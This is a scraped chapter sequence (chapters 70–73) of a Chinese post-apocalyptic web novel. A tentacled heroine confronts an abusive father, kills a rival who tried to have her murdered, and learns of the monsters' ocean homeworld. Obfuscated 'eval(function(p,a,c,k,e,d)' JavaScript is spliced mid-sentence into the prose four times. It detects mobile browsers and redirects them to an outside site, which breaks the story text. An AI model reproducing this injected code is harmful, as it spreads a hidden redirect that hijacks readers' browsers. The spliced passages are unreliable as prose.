杜蕊冷眼看着杜为民挣扎,杜为民被气得嘴唇发紫,哆哆嗦嗦地抬起打满石膏的胳膊肘指向杜蕊,一字一顿地从牙缝里蹦出三个字:“不孝女!” 围观群众一片哗然。 “这是你女儿?”一旁的大娘忍不住嘀咕,“怎么看着像仇人。” “她不孝!”为了让所有人听清自己的话,杜为民提高声音,说得缓慢又吃力,“我这一身伤,都是她打出来的!” “姑娘,这就是你的不对了。”一旁看热闹的男人对杜蕊说:“他可是你爹,怎么能把亲生父亲打成这样呢?” 杜蕊沉着脸不说话,男人不满地皱起眉头,还要接着说教,胳膊被一旁的女伴拉了一把,“弄清楚来龙去脉了吗就掺和?少说两句,这附近住着的可都是大人物,当心惹祸上身!” 男人面色一滞,忌惮地瞥了眼杜蕊,退回去不说话了。 “她为什么要打你?”另一个裹着黑斗篷的女人问,“总不会无缘无故吧,你都做了些什么?” 杜为民支支吾吾地不愿开口。 场面和他预想中不同,围观的人们非常冷淡。他以为只要自己亮出了这一身的伤口,再揭明杜蕊的身份,所有人都会帮他把杜蕊骂得无地自容……这样下去不行,完不成上面给的任务,他可拿不到好处! 杜为民心中发急,又将声音提高了些,“她们仗势欺人啊!这个不孝女,还有那个长触手的人。”说着,他用胳膊肘指向二楼栏杆边上的黎望舒,“她们无视基地的规则,在警卫面前把我打成这样,还有没有王法了!实力强就能随便欺负人了吗?大家都来评评理!” 围观的人们开始窃窃私语,没人敢接话,但都朝楼上投去疑虑的眼神。 “人是我打的,和望舒有什么关系!”见焦点被扯到黎望舒身上,杜蕊不愿意了,“我一人做事一人当!” “哎呦,太嚣张了!”人堆里突然响起一道夸张的声音,“今天能狗仗人势把亲爹打瘫,明天岂不是要祸害无辜的老百姓了?不能让她们在基地里横行霸道!” “谁!”杜蕊试图将发声的人揪出来,但那人藏得太快,她扫了一圈也没有找到。 被这道声音煽动,人群中立刻掀起了喧闹声,还有些大胆的人聚在杜为民身边,虎视眈眈地看向杜蕊。担忧、恐惧、满怀恶意……各色视线朝二楼扫去,裹着黑斗篷的女人眉毛一皱,发现了不对劲,默默拉上兜帽,沿着街边快步离开了。 黎望舒耐心用尽,触手一甩,刚要吩咐塞拉斯使用能力,身后的房门突然被推开了——连霏与杜茉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056791|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到动静,都急匆匆地跑到了栏杆边上。 杜茉往下看了一眼,见杜为民被一群人吵闹地护在中间,喋喋不休地向身边人诉苦,结合先前听到的只言片语,她迅速搞明白了事情的来龙去脉。 “小黎姐姐……”她将求助的目光投向黎望舒。 “想做就做,有我兜底。”黎望舒说。 杜茉心中大定,深吸一口气,朝下面大喊一声:“别吵了!姐姐都是为了我才会打爸爸……要是没有姐姐,我会被爸爸打死的!” 说着,她卷起了袖子,将瘦弱胳膊暴露在空气中——因缺乏营养而发黄的皮肤上,赫然印着一道道青紫痕迹,密密麻麻地叠在一起,触目惊心。 下方的吵闹声一滞,陷入了尴尬的静默,原本聚在杜为民身边的几个人对视一眼,也默默退开了。 “是你先动手的?”有人质问杜为民。 “这怎么能是一回事呢!”杜为民暗骂一声小兔崽子,连忙解释,“孩子不听话,我管教孩子,这是家事啊。那个触手人欺人太甚,连别人的家事都要插手!” “打着家事的名头,就可以随便打人吗?”黎望舒笑吟吟地反问,“按你的说法,打你的是小蕊,你的大女儿,我只是在旁边看着而已。这同样是家事,你们应该私下解决,谁的拳头大谁有理,你又在大街上闹什么?” “这怎么能一样。”杜为民被她绕进去了,不知该怎么反驳,只好翻来覆去地重复:“我可是她爹啊,女儿怎么能对爹动手呢……” 旁边一位穿着干净的男人打着哈欠路过,余光扫到这边的混乱场景,忽然顿住了脚步,“杜为民?” 杜为民下意识抬起头,瑟缩了一下,“李、李厂长……” “你这是……”李厂长感兴趣地上下打量他,笑着说:“又去哪儿偷东西了?我早说了,你这样下去迟早会挨揍的。也就是我心好,看你家里有两个小孩要养挺困难的,没让你赔就放你走了。” “咋回事儿啊,跟我们说说呗?”边上爱八卦的大娘连忙问,“他还偷过东西?” “厂长,别——”杜为民急了。 “原来你们不知道啊。”李厂长丝毫不打算给杜为民留面子,心直口快地说:“这家伙在养殖场偷了不少鸡蛋,昨天刚被开除,我正要去面试新员工呢。” “嘿。”大娘咂嘴,“原来是个小偷。” 杜为民面如死灰,感受着身边人投来的鄙夷目光,心中满是绝望。 八卦被这群爱嚼舌根的八婆听去,要不了多久就会传遍整个基地……本来工作就不好找,他又有了偷窃的前科,这下哪个单位还会要他! 看热闹的人群逐渐散去,杜为民蹲在路边等了一会儿,迟迟没等到约定中来接自己回去的人,反而又被杜蕊踹了两脚,这才反应过来自己没完成任务,被放弃了。 他忍着痛狼狈地爬起来,朝曲明德的住处跑去——这是他最后的希望了,他手中握着曲明德买通他的把柄,曲明德必须给他安排一个好工作! 71. 第 71 章 杜蕊象征性追了几步,冲着杜为民摇摇晃晃的背影大喊:“以后见你一次揍你一回,别再出现在我们面前!” 杜为民忙着逃命,没有回头。 “这样就算是解决了吧。”戚依依跃跃欲试地仰头,对黎望舒说:“现在去找曲明德?他清晨才出发,应该没走太远,很快就能追上。” “不急。”黎望舒看向道路那头朝这边行来的几个警卫和领头的方镇岳,“还没结束。” 戚依依也朝那边看了一眼,瞪大了眼睛,下意识往黎望舒身后躲了躲,“哎呀,舅舅怎么来了!” 黎望舒说:“别躲了,他早就看见你了,快想想怎么解释。” “呃……就说我是来看热闹的?”戚依依绞尽脑汁,“怎么样?” “随便你,总之别和我扯上关系。”黎望舒随口道。 方镇岳带着身后的警卫走到宿舍楼下,抬头望向二楼,与黎望舒对上了视线。 二层楼对黎望舒来说不高,她冲方镇岳友好一笑,单手抓住栏杆,目测计算了落点,轻巧地翻了下去,落在方镇岳面前不远处。 她有意控制着力道,没将水泥路面踏出裂痕,甚至没有激起多少灰尘。 戚依依下意识也想跟着爬上栏杆,但一低头就触到了舅舅严厉的视线,一双短胳膊顿时僵在半空中,“……” 呆了几秒后,她默默放下手,乖乖地钻进了楼梯里。 “我这个侄女年幼不懂事,平时比较调皮,喜欢恶作剧。”方镇岳收回目光,看向黎望舒,“如果有冒犯到您的地方,我先替她向您道歉。” “没事,她挺乖的。”黎望舒想了想,补充道:“我和她也没那么熟。” 方镇岳眉宇间隐隐有些忧虑,他眼下青黑,看起来十分疲惫,“您宽宏大量,不与她计较。这孩子顽劣,以后还要麻烦您多照顾。” “您说笑了。”黎望舒回答,“我和她非亲非故,谈不上照顾。” 与初次见面时的样子相比,方镇岳的态度明显发生了变化——他态度客气了许多,姿态也放低了,甚至开始对她使用敬称。 他的话题一直停留在戚依依身上,结合他突然改变的态度……黎望舒合理推测,方镇岳可能察觉到了小侄女的特别之处,甚至发觉了戚依依曾经袭击过她。 “舅舅!”对这些一无所知的戚依依跳下台阶,一蹦一跳地跑过来,“你怎么来啦?” 方镇岳低头,目光沉沉地在小女孩身上定了两秒,然后伸掌扣住了她的头顶,轻轻晃了两下,语气不自觉地变柔和了:“今天怎么起得这么早,就为了出来玩?身边怎么不带保镖。” “呃……他们太麻烦了,我又不出基地。”戚依依心虚地说。她观察舅舅的神色,注意到了他眼下的青黑,关心道:“舅舅,你昨晚没睡觉吗?” “事太多,还没来得及合眼。”方镇岳说,“你先回家,之后我有事要问你。” 戚依依下意识看向黎望舒,但对方若无其事地避开了她的视线。她反应过来,连忙也撇开视线,对舅舅“嗯”了一声,小跑着离开了。 方镇岳将这两人微妙的互动收入眼底。 “听说这边有人闹事……不过看样子已经解决了。”方镇岳环顾一圈,朝黎望舒一点头,“我会加强巡逻,尽量减少这样的状况。基地里事多,我先走了,再见。” “等等,方将军。”黎望舒出声挽留,“曲明德——您将他派出去了?他的目的地是什么地方?” “……问这个做什么。”方镇岳回头审视她。 “您觉得呢?”黎望舒微笑。 戚依依走得太突然,还没来得及指出曲明德离开的方位。虽说让郁仪去基地门口辨认车辙也能找到人,但那样效率太低,也很显眼,不如直接问方镇岳,顺便试探他对这件事的态度。 方镇岳沉默片刻,用陈述的语气说:“他对你们下手了。” “没错。”黎望舒点头,“他雇人杀我,我报复回去,这很合理。” 方镇岳低头陷入沉思,双眉紧皱,似乎在纠结什么,黎望舒抱臂站在原地,等着他做出决断。 片刻后,方镇岳下定决心,面带愧色地抬起头,刚要开口,但与此同时,他身后突然传来一阵求饶声,把他到了嘴边的话压回了喉咙里。 他回头看去—— “姐,姐!别拧那么用力,我又跑不了!哎呦!” 街道尽头,一个穿蓝色夹克的小伙子弯着腰不断求饶,另一个裹着黑斗篷的女人拧着他的耳朵,面色冷肃地拖着他走在前面。 “陈姑娘,还有小吴?”方镇岳皱眉,“你们俩怎么回事?” “方将军?!”蓝夹克抽了口气,满脸写着大事不妙,尬笑两声,“您、您怎么在这儿?” “又见面了。”黎望舒也朝蓝夹克微笑。 “……姐,真巧哈。”蓝夹克被黑斗篷女人扯了过来,笑得比哭还难看。 “你们认识?”方镇岳问。 “认识,这是曲明德的手下吧。”黎望舒说,“昨天他刚带我们逛了圈基地,天还没亮又来宿舍门口蹲着,真辛苦。” “这家伙在人群里鬼鬼祟祟,开头那一嗓子就是他喊的,煽动完身边的人就想开溜,一看就有问题。”黑斗篷女人嫌恶地说,“方将军,您认得这个人?大家本来就对我们心怀偏见,这家伙居然还要败坏我们的名声,真是可恨,不能轻饶!” 对上黎望舒的视线,黑斗篷女人微微一顿,掀开斗篷,向她展示自己腰上延伸出的触手,“我也长着触手,我们是同类。” 黎望舒点头,理解了她为什么如此愤怒。 听完了黑斗篷女人的转述,方镇岳的脸色彻底黑了下来,他质问蓝夹克:“这里的骚乱是你制造出来的?是老曲让你来的?” 蓝夹克一咬牙,梗着脖子嘴硬:“是我一个人的主意。” “好、好!”方镇岳气得连连拍掌,转向黎望舒,“曲明德的目的地是邻市的大型商超,车队走的是国道,稍后我为您拿一份路线图。” 黎望舒讶异地挑眉:“行,多谢。” “方将军!”蓝夹克急了,“您跟她说这些做什么?曲老大跟了您这么久,没有功劳也有苦劳……” “我给过他机会!昨晚他亲口对我承诺,以后不会再做伤天害理的事,结果呢?狗改不了吃屎,江城基地不需要这种阴险的货色。”方镇岳转身,冲警卫一挥手,“把他带走,关进地牢。” 警卫立刻上前,将不断为曲明德求饶的蓝夹克拖走了。 从归来的警卫手中接过地图,黎望舒低头看了一眼,问方镇岳:“还有什么话想对他说吗?我可以帮您带过去。” “我和他无话可说。”方镇岳没回头,语气生硬,顿了顿,又说:“他的尸体也不必处理,丢在外头,喂给怪物吧。” …… 平稳行驶的敞篷吉普车后座上,曲明德嘴巴微张,耷拉着眼皮靠在车窗边昏昏欲睡。 马路上散落着一片小石子,车轮轧上去,车辆一阵颠簸,曲明德的脑门猝不及防地磕上了窗框,疼得倒抽一口冷气。 “前面那个,你脖子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061281|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面顶的是猪头吗?怎么开成这样!” 没等曲明德发话,他身边的小弟先坐不住了,张口就骂:“我看你是不想活了!” 司机转着方向盘,唯唯诺诺地连声道歉。 “行了,别吵吵。”曲明德不耐烦地喝道,“吵得我头疼。” 小弟立刻住嘴,殷勤地拧开水瓶递给曲明德,“老大,感觉怎么样,还晕吗?” “废话!”曲明德推开水瓶,“方镇岳那个老狐狸,明知道我不喜欢坐车,还要逼着我出任务!总有一天我要纠集人手,把他大卸八块。” “但他也没追究您的罪责不是?”小弟陪着笑说,“出趟任务就能把以前的事一笔勾销,这不是更显得您面子大么。” 曲明德受用地哼了一声,重新闭上双眼。 前方道路弯曲,司机猛打了一下方向盘,吉普车甩出了一个流畅的弧线,曲明德的胃里也被甩得一阵翻江倒海,胃液顺着食道上涌,将喉咙口烧得火辣辣的。 他猛地捂住嘴,面色铁青地锤了下车门,咬牙挤出两个字:“停车!” “可是这会儿停车会被前面的车队落下。”司机慢吞吞地说,“我们车上也没有战斗人员,万一遇到危险……” “让你停就停,哪来那么多废话!”小弟猛踹了下座椅,司机没办法,只好踩下刹车。 曲明德推门下车,呼吸到外头的新鲜空气,这才感觉舒坦了些。小弟递来水瓶,他接过咕嘟咕嘟灌了一口冷水,畅快地吐了口气。 “不能在这里停留太久。”司机摇下车窗催促,“这附近怪物很多,不安全。” “少废话,我们老大爱在这里停多久就停多久!”小弟回头骂道。 ——变故发生在这一瞬间。 猝不及防地,一条触手从曲明德身后袭来,牢牢卷住了他的下半张脸,与此同时,他的双腿也被触手缠住,一股大力将他向后拖去! 他目呲欲裂地试图挣扎,但挣不过那股怪力,连一声惊叫都未能发出,就被拖进了树丛中。 “……咦?”小弟骂完了司机,回头一看,刚刚还在身边的自家老大凭空消失了,“人呢?老大?” 小弟试探性地叫了几声,但空旷的树林边上一片寂静,连回声都没有,树叶被风吹得沙沙作响,无端地让人毛骨悚然。 又战战兢兢地叫了两声,他敌不过恐惧,不再寻找曲明德,慌慌张张地回到车上,催促司机离开。很快,敞篷吉普车的厚重车轮卷起一阵沙尘,飞快地离开了这里。 …… “被同伴抛下了呢。” 枝叶中,黎望舒收回放在吉普车上的视线,低头看向一脸惊恐的曲明德,“感想如何?” 曲明德双手双脚都被牢牢缚住,动弹不得,圆溜溜的肚皮被黎望舒用锋利刀尖顶着,连呼吸都被迫放轻了。他不断地摇着头,口中发出模糊的呜咽声,似乎有话想说。 “哎呀,忘了你嘴巴被封住了。”黎望舒转了个刀花,笑着对他说:“算了,我也不想听你说话。知道我为什么找上你吗?” 性命被威胁,曲明德不敢违抗她,连连点头。 “那就好,至少得让你死得明白些。” 在曲明德愈发恐惧的视线里,黎望舒丢下刀子,转到了他脑袋后头,带着皮手套的双手握上了他的脖子。 温和的声音在脑后响起,落在曲明德耳中却宛如催命的魔鬼,“看在你没得手的份上,不用刀了,给你个痛快。” 她双手发力,“咔吧”一声,曲明德的颈椎被扭断,脑袋软趴趴地垂了下来。 72. 第 72 章 “小黎姐姐!事情都解决啦?” 傍晚,黎望舒一身尘土地回到宿舍,戚依依和吐着舌头的妞妞一起摇着尾巴迎了上来,热情地关心她。 “解决了……别靠过来,我身上灰尘多。”黎望舒抵住戚依依企图靠过来的脑袋,左右环顾一圈,问她:“怎么只有你和妞妞,其他人呢?” “上午有几个宣传处的工作人员上门讲解基地政策,他们说去任务处进行实力评定后可以领取补贴,耍剑的黑头发和连霏姐姐都去了,天黑前会回来。”戚依依点着下巴回忆,“杜茉和杜蕊姐姐吃完午饭也出门了,好像是要去医疗站……体验工作?” 黎望舒挑眉看了她一眼——不到一天的时间,她似乎已经和女生宿舍的几人混熟了,一口一个“姐姐”,叫得极为亲昵。怪不得基地里的居民都对她评价极好,这孩子嘴甜又是个自来熟,脸颊粉嘟嘟的,生得玉雪可爱,大多数人都不会对她心怀警惕。 “怎么啦?”戚依依眨巴着眼睛看她。 “没什么。”黎望舒摇头,将沾了些尘土的外衣脱下,看着一脸若无其事的戚依依,忍不住问:“你是怎么应付你舅舅的?我还以为他不会再放你出来了。” “为什么!”戚依依吃惊地说,“他没说什么特别的话,只是嘱咐我少出基地少惹祸,但看起来的确不太高兴,我还以为是累的……难道我们的事被他发现了?” “……我们之间并不存在不可告人的关系。”黎望舒纠正她的措辞,“他有可能发现了你的能力,甚至清楚你曾经与曲明德合作过。” “那可真是不妙。”戚依依捧着脸咂了咂嘴,看起来并不紧张。 “你不害怕?”黎望舒问。 “为什么要怕?”戚依依坐在床边,一脸无所谓地晃悠两条短腿,“虽说是有点麻烦,但舅舅又打不过我,大不了离开基地呗。” 黎望舒一怔。 戚依依在方镇岳面前表现得太过乖巧,她被假象影响,差点忘了戚依依是个毫不在乎血缘牵绊的怪物……思维的惯性果然难以消除。 她默默反思。 宿舍门被推开,连霏接住了扑进她怀里的妞妞,抬头见到黎望舒,惊喜地说:“你回来了,没受伤吧?” 黎望舒一点头,问她:“你去做实力评定了?结果怎么样。” “成功啦,分到了一间单人宿舍,离这里不远,只要按时交怪物肉就能一直住下去。”连霏弯眼一笑,冲她晃了晃勾在指尖的钥匙,“我的能力比较鸡肋,只有侦察作用,好在我力气够大,这才勉强通过。” “挺好的,现在要搬过去吗?”黎望舒问,“我可以帮忙搬行李,让你少跑两趟。” “明天再搬吧,今天有点晚了。”连霏伸了个懒腰,“其实留在这里也没什么不好的,但都要开始交租金了,不去住总觉得有点亏。” “那岂不是空出来一个床位?小黎姐姐,我可不可以住在这里!”戚依依一下子兴奋起来,“反正我们的事也被舅舅发现了,没关系吧。” “不行。”戚依依又将脑袋凑了过来,黎望舒嫌弃地推开她,“你怎么总想往我身边贴?回自己家里去睡。” 连霏在一旁笑着看她们打闹。 “郁仪呢?”黎望舒随口问,“你是和他一起出发的吧。” “接受测试的时候,他排在我前面。”连霏回答,“他合格得很快,测试结束后先离开了。” “那应该已经回来了。”黎望舒点头,“等会儿我去找他。” 谈话间,走廊里一阵沉重脚步声逐渐接近。宿舍门还没被打开,杜蕊充满活力的声音就先传了进来:“我回来啦!” 她先将杜茉推进房间里,抬头一看,顿时乐了:“都回来啦,来来来,看我赚回来了什么!” 说着,她从口袋里掏出了一个小包裹,黎望舒接过来打开一看,里面装着几大条青黑色的肉干。 “这是你的工资?”黎望舒问她。 “是啊,医疗站事太多了,伤者源源不断,忙活了一下午才挣了这么点,累得腰酸背痛,还不如出去杀怪物。”杜蕊感叹,“回来的时候仔细逛了圈集市才发现,之前过的生活真奢侈……我们常吃的速食泡面放在集市上,居然能换到一大堆肉干,够吃两三天呢。” “怎么想起来去打工了。”黎望舒将包裹递还给她,“都说基地里工作难找,你一下午就能找到,真厉害。” “不算正式工,只是临时帮忙。”杜蕊接过包裹,“我就是想体验一下,一开始商量的时候我还说过不要工资也可以……不过最后离开之前,负责人说我工作负责,还是给我包了些肉干。” 她从包裹里捡出一块小肉干塞进口中,边嚼边含糊不清地说:“这东西嚼起来有股腥味,肉质也很韧,橡胶似的咬不断,干巴巴的很吸水……但抛开这些不谈,味道其实没那么差。” 杜茉也捧着肉干慢慢啃着,眉眼弯弯,看起来非常满足。 “不喜欢就别吃了。”黎望舒劝她,“我们存货不少,以后将杀掉的怪物带回来,还能用怪物肉换到新鲜食材。” “我要吃,这可是我亲自挣回来的。”杜蕊狠狠地嚼着口中的肉干,赌气似的说:“别人都能吃,没道理我吃不了。不用惯着我,我没那么娇气。” 黎望舒费解地皱眉,不明白自己只离开了一天,杜蕊为什么突然转了性子,接受了从前避之不及的怪物肉干。 另一边,杜茉注意到戚依依投来的视线,以为她肚子饿了,连忙将肉干包裹捧到她面前:“要不要吃一点?” “谢谢,你真好。”戚依依对她甜甜一笑,礼貌地拒绝,“但我不喜欢这个,你吃吧。” 黎望舒忍不住试探她:“我以为你们不介意同类相食。” “我们也不是什么都吃啦,除了那些特别喜欢低级种口感的异食癖,大部分同类都是饿得受不了了才会捕食低级种。” 戚依依觉得黎望舒的问法有些奇怪,但没有深想,在她的认知中,王族不了解子民的生活也没什么好奇怪的,“我本来就不爱吃肉,在家乡的时候也只吃各种海菜,别说低级种了,连鱼肉都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15064938|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不怎么吃……不过人类的食物我都很喜欢,蛋糕、面包、小饼干,还有各种各样的零食,家乡可没有这些美味!” “……不吃人也是因为这个?”黎望舒满头黑线。 “对呀,我又不喜欢,干嘛冒着暴露的风险费力去捉人来吃。”戚依依理所当然地点头,突然反应过来,谨慎地问:“如果我真的吃过人,您会怎么对待我?” “我会杀了你。”黎望舒没有一丝犹豫,“食人的怪物会威胁到我的同伴。” “哇!”戚依依惊讶地捂住嘴,“以前家里人总说我挑食,回去我就要让他们知道,挑食还是有好处的……如果还回得去的话。” “回去?”塞拉斯不在身边,黎望舒不动声色地套她的话,“你家在什么地方?” “就在潮星呀,不过离王宫很远,平时没机会见到王族。”戚依依骄傲地挺起胸膛,倒豆子似的,将家里的状况全吐了出来,“我家血脉不错,有些家传,能力也有用,所以不用迁往殖民星,有留在潮星的资格。潮星什么都好,就是食物太匮乏了,我喜欢吃的翻来覆去只有那几样,相较之下,我还是更喜欢这里。” 潮星……这个名字倒是很符合怪物们留给她的印象,潮湿又充满水汽。 黎望舒若有所思。 “原来真的有外星人。”杜茉听得入了神,充满求知欲地问:“潮星是什么样子的?怪物们都是从外星来的吗?是怎么来的,坐飞船吗?” “呃……”戚依依为难地看向黎望舒,“这能说吗?” “说吧。”黎望舒淡定回答,“都要和那边开战了,没什么好顾忌的。” “也对哦。”接收到几人好奇的目光,戚依依清了清嗓子,摆出了一副煞有介事的样子,“潮星是我们的母星,那里几乎没有陆地,整个星球都被海洋包裹。现在地球上的同类都是先遣队成员,负责查探这颗星球的情况,以及在女皇陛下降临前进行初步进攻。我们都是被王……咳,一个空间能力者带过来的,但她能够负担的生命存在上限,没办法将所有需要迁徙的族人一起带过来,包括女皇陛下在内的大部队都在后方的星舰群上,正在缓慢地向这边靠近。” “空间能力者?”连霏疑惑,“是那种能够开辟随身空间、将同伴装在里面带走的能力吗?” “不对,准确来说,她的能力是远距离折跃。”戚依依试图解释,“类似于虫洞,能将距离很远的两个地方连接在一起,一步就能跨越……” “传送门?”杜蕊提醒。 “对对对,就是传送门!”戚依依一拍脑袋,看了眼黎望舒,又补充道:“总之很厉害,超级方便,是我们族群中独一无二的能力。” “哇哦。”杜茉配合地发出惊叹,“就像哆啦某梦的任意门一样,好羡慕……有了这个能力,就可以随心所欲地到处玩了。” 黎望舒眼皮一跳,总觉得戚依依口中的空间能力者和自己脱不开关系。 不是她敏感,实在是戚依依的描述漏洞百出,试图讨好她的态度又太过明显,让她不得不多想。 73. 第 73 章 “哇……呜呜……” 阴暗无光的大通铺里,孩子的哭声格外嘹亮,尖锐得几乎要刺穿耳膜,周围的住户或是塞住耳朵,或是投来厌恶的眼神,都不堪其扰。 萧荣满身疲惫地结束了一天的工作,刚一踏进厂房就听到了熟悉的哭声,心脏一抽,连忙小跑着赶往自家床位。 “怎么了这是?”她丢下手中的肉干,手忙脚乱地将大哭的杜昊轩抱入怀中,轻声安慰,“饿了?还是谁欺负你了?是不是你那个混蛋爹又回来了?” 杜昊轩抽抽嗒嗒地点头:“爸一直守在门口,看起来好吓人,我、我不敢出去……” ……杜蕊回来大闹一场带走杜茉已经是五天前的事情了。 那天,她被即将到来的高额医疗费吓退,将被打得奄奄一息的杜为民抛在了大通铺中间。晚上,她抱着白胖的儿子,在惊慌中迷迷糊糊地睡了过去,第二天醒来却发现杜为民不见了,她有些不安,特意请了一天假,在附近打听了一圈,但谁也没看到杜为民去了哪里。 萧荣末日前是市医院的护士长,所以能看出来,他那样的伤势不可能独自离开……她本以为杜为民夜里被冻硬了,警卫帮忙收了尸,心中还有些庆幸省下了一笔丧葬费。 可她还没高兴多久,那天晚上,杜为民居然回来了!他走得摇摇晃晃,看起来非常狼狈,身上裹满绷带和泥灰,即便如此依然有打人的力气,刚一见面就沉着脸踹了过来。 萧荣太过惊讶,又躲闪不及,猝不及防地被踹倒在地。身上火辣辣的疼痛唤回了她的理智,以前杜为民从不敢这样打她!她愤怒地起身反击,与杜为民扭打在一起。 杜为民一身的新鲜伤痕,双臂又打满石膏不便活动,完全不是萧荣的对手,不一会儿就再次被按在了地上。 萧荣怕闹出人命,更怕吓坏了孩子,本来没想与他多纠缠,只想将他打发走。可杜为民魔怔了似的,被她打倒在地后竟然挣扎着爬了起来,双目血丝密布,瞪着眼睛又扑了上来,萧荣只好接着抵抗。 二人就这样纠缠了一会儿,萧荣打得束手束脚,还要顾着身后的孩子,苦不堪言。好在附近的警卫被训了一通后吸取上次的教训,发现情况及时赶到,权衡一番后,将看起来更加偏执的杜为民拉开了,并且严令禁止他再踏进厂房半步。 将杜为民赶走后,床位上只余他们母子二人,变得宽敞了不少,可生活并没有变得平静——第二天,警卫告诉萧荣,杜为民常常在厂房周围窥视,杜昊轩跑出去玩的时候差点被他勒着脖子带走。 她后怕极了,连连叮嘱杜昊轩不要再随便出门,自己出发去工作时也要先警惕地环顾四周,以免突然被杜为民偷袭。 杜为民已经疯了,谁也无法保证他会不会做出更加丧心病狂的事情,这样担惊受怕下去也不是办法…… 萧荣忧虑地皱眉,轻轻拍着儿子的背,突然想起了大女儿杜蕊。 杜为民去上级宿舍大闹一通的事已经传遍了整个基地,在医疗处工作时,与她不对付的同事想看她的笑话,故意将这件事讲给她听。 说者无意,听者有心。杜为民丢了多大的脸萧荣不在乎,可杜蕊……她居然有资格住在上级宿舍?那里有电有水,安全又能保障隐私,生活条件不知道比大通铺好了多少。如果能把昊轩送到杜蕊那里让她帮忙照看,自己去工作的时候也能安心不少,但…… 想起杜蕊殴打亲生父亲时那狰狞的样子,她又有些犹豫。 “妈妈,我以前的小伙伴们都不愿意跟我玩了。”杜昊轩渐渐不哭了,扁着嘴委屈地告状,“他们说我是小偷的儿子,还说我是不知羞耻的耀祖,说你们重男轻女。” “什么?!”萧荣震惊,“那群小畜生,听风就是雨!别听他们瞎说,我们和你爸已经没关系了,他做的事与你无关,你可是妈妈的宝贝。” “可是我好无聊。”杜昊轩说,“不能去外面玩,厂房里面也没人愿意搭理我……妈妈,爸什么时候才会离开啊。” 萧荣沉默片刻,伸手抱紧了他,坚定道:“没事的,妈妈马上去给你找新朋友,不会让你那个混蛋爹伤害你的。” …… 清晨,宿舍门被敲响了。 杜蕊打着哈欠爬起来开门,在看到门后人的那一刻面色转阴,拉着门把手就想关门。 “等等,小蕊,听我把话说完!” 门外的萧荣连忙用手指抵住门缝,杜蕊来不及收手,萧荣的手指被铁门狠狠地夹了一下,瞬间肿了起来。 萧荣抽了口气,痛得面色发白,但仍坚持着没有放开手,她身边的杜昊轩立刻用仇视的目光瞪住杜蕊。 “你到底想做什么?”杜蕊气急,担心打扰到宿舍里的其他人,压低声音用气声问。 “我有事想找你帮忙。”萧荣对她的态度感到不满,“一件小事,对你来说是举手之劳……别摆出这种脸色,妈妈生你养你,不是你的仇人。” “我没空。”杜蕊不耐烦地说,“快回去,我不会帮你的。” “你不答应的话,我就一直留在这里敲门大吵大闹,这样你也不好做人吧。”萧荣看出了她的顾虑,用了点力扳开门缝,作势要朝朝里面喊。 杜蕊伸手捂住了她的嘴,无奈之下,只好打开门挤了出去,对萧荣说:“……去别的地方谈。” 母子俩跟着杜蕊远离房间,走到了无人的楼梯后面,杜蕊回身冷冷地盯着萧荣,等着她说明来意。 “几年不见,你真的长大了。”萧荣牵着杜昊轩,缓缓地说,“从前的你更懂事,不会用这样的态度对待我。” “你又是怎么对待我的?”杜蕊讥讽,“要不是我骗你们毕业后会上交工资,你们会放我去外省读大学吗?” “你又没试过,怎么知道不会呢?”萧荣说,“扪心自问,我对你不算差,至少我从来没打过你吧?你身边从小一起长大的小姐妹们有几个上了高中?你父亲几次劝我别让女孩读书,早点把你嫁出去,我都没听,要不是我,能有今天的你吗?” “你心里清楚,那是为了更好地压榨我!是,你是不打我,但你会用污言秽语摧毁我的精神,撺掇杜为民揍我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15069014|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自己在旁边冷眼旁观,以为我都忘了吗?”杜蕊眼眶发烫,她不愿在萧荣面前露出脆弱的一面,吸了口气,催促道:“废话少说,你到底想干嘛?” “你这孩子,怎么只记仇不记恩……” 萧荣还想再打感情牌,但杜蕊耐心用尽转头就走,她连忙攥住了杜蕊的胳膊,放缓了声音:“好,我承认,以前做得不对,可再怎么说我也是你妈,昊轩是你弟弟,我们遇到困难,你有责任帮忙。” 